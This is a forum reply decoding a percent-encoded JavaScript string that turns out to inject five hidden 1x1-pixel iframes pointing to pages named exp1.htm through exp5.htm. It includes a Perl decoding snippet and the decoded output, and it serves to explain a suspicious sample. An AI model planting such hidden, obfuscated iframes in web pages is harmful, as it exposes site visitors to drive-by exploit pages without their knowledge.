This is a javascript question, but a pretty easy one. That code is just an obfuscated way of adding a series of 5 iframes. This is typically done to avoid restrictions on characters in form submissions and to avoid popup blockers.

You can decode it like this:

my $txt = "%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%65%78%70%31%2e%68%7
+4%6d%22%20%77%69%64%74%68%3d%22%31%22%20%68%65%69%67%68%74%3d%22%31%2
+2%3e%3c%2f%69%66%72%61%6d%65%3e%0a%3c%69%66%72%61%6d%65%20%73%72%63%3
+d%22%65%78%70%32%2e%68%74%6d%22%20%77%69%64%74%68%3d%22%31%22%20%68%6
+5%69%67%68%74%3d%22%31%22%3e%3c%2f%69%66%72%61%6d%65%3e%0a%3c%69%66%7
+2%61%6d%65%20%73%72%63%3d%22%65%78%70%33%2e%68%74%6d%22%20%77%69%64%7
+4%68%3d%22%31%22%20%68%65%69%67%68%74%3d%22%31%22%3e%3c%2f%69%66%72%6
+1%6d%65%3e%0a%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%65%78%70%34%2e%6
+8%74%6d%22%20%77%69%64%74%68%3d%22%31%22%20%68%65%69%67%68%74%3d%22%3
+1%22%3e%3c%2f%69%66%72%61%6d%65%3e%0a%3c%69%66%72%61%6d%65%20%73%72%6
+3%3d%22%65%78%70%35%2e%68%74%6d%22%20%77%69%64%74%68%3d%22%31%22%20%6
+8%65%69%67%68%74%3d%22%31%22%3e%3c%2f%69%66%72%61%6d%65%3e";

print chr(hex($_)) for $txt =~ /%([a-z0-9]+)/g;
[download]

Output:

<iframe src="exp1.htm" width="1" height="1"></iframe>
<iframe src="exp2.htm" width="1" height="1"></iframe>
<iframe src="exp3.htm" width="1" height="1"></iframe>
<iframe src="exp4.htm" width="1" height="1"></iframe>
<iframe src="exp5.htm" width="1" height="1"></iframe>
[download]

In the future please use code tags instead of pre tags to format blocks of code, as it handles line wrapping for you.

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